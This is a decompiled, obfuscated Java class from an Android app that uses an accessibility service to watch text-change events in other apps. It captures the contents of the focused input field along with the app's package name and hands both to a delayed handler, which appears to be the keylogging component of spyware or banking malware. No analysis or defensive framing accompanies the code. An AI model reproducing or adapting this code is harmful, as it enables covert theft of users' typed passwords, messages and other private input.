package o;

import android.os.Handler;
import android.os.Looper;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import java.text.SimpleDateFormat;
import java.util.Locale;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class QJ {
    public AccessibilityService a;
    public long d;
    public final SimpleDateFormat b = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    public String c = "";
    public String e = "";
    public String f = "";
    public final Handler g = new Handler(Looper.getMainLooper());
    public final long h = 1200;
    public final RunnableC2108p1 i = new RunnableC2108p1(13, this);

    public static boolean a(AccessibilityNodeInfo accessibilityNodeInfo) {
        String string;
        try {
            CharSequence className = accessibilityNodeInfo.getClassName();
            if (className == null || (string = className.toString()) == null) {
                string = "";
            }
            if (accessibilityNodeInfo.isEditable() || Za0.P(string, "EditText", false) || Za0.P(string, "TextInput", false)) {
                if (accessibilityNodeInfo.isFocused()) {
                    return true;
                }
            }
        } catch (Exception unused) {
        }
        return false;
    }

    public final void b(AccessibilityEvent accessibilityEvent) {
        AccessibilityNodeInfo source;
        String string;
        String string2;
        RunnableC2108p1 runnableC2108p1 = this.i;
        Handler handler = this.g;
        if (accessibilityEvent == null || accessibilityEvent.getEventType() != 16 || (source = accessibilityEvent.getSource()) == null) {
            return;
        }
        try {
            try {
                if (a(source)) {
                    CharSequence text = source.getText();
                    String str = "";
                    if (text == null || (string = text.toString()) == null) {
                        string = "";
                    }
                    CharSequence packageName = accessibilityEvent.getPackageName();
                    if (packageName != null && (string2 = packageName.toString()) != null) {
                        str = string2;
                    }
                    handler.removeCallbacks(runnableC2108p1);
                    this.e = string;
                    this.f = str;
                    handler.postDelayed(runnableC2108p1, this.h);
                }
                source.recycle();
            } catch (Exception e) {
                e.printStackTrace();
                source.recycle();
            }
        } catch (Throwable th) {
            source.recycle();
            throw th;
        }
    }
}
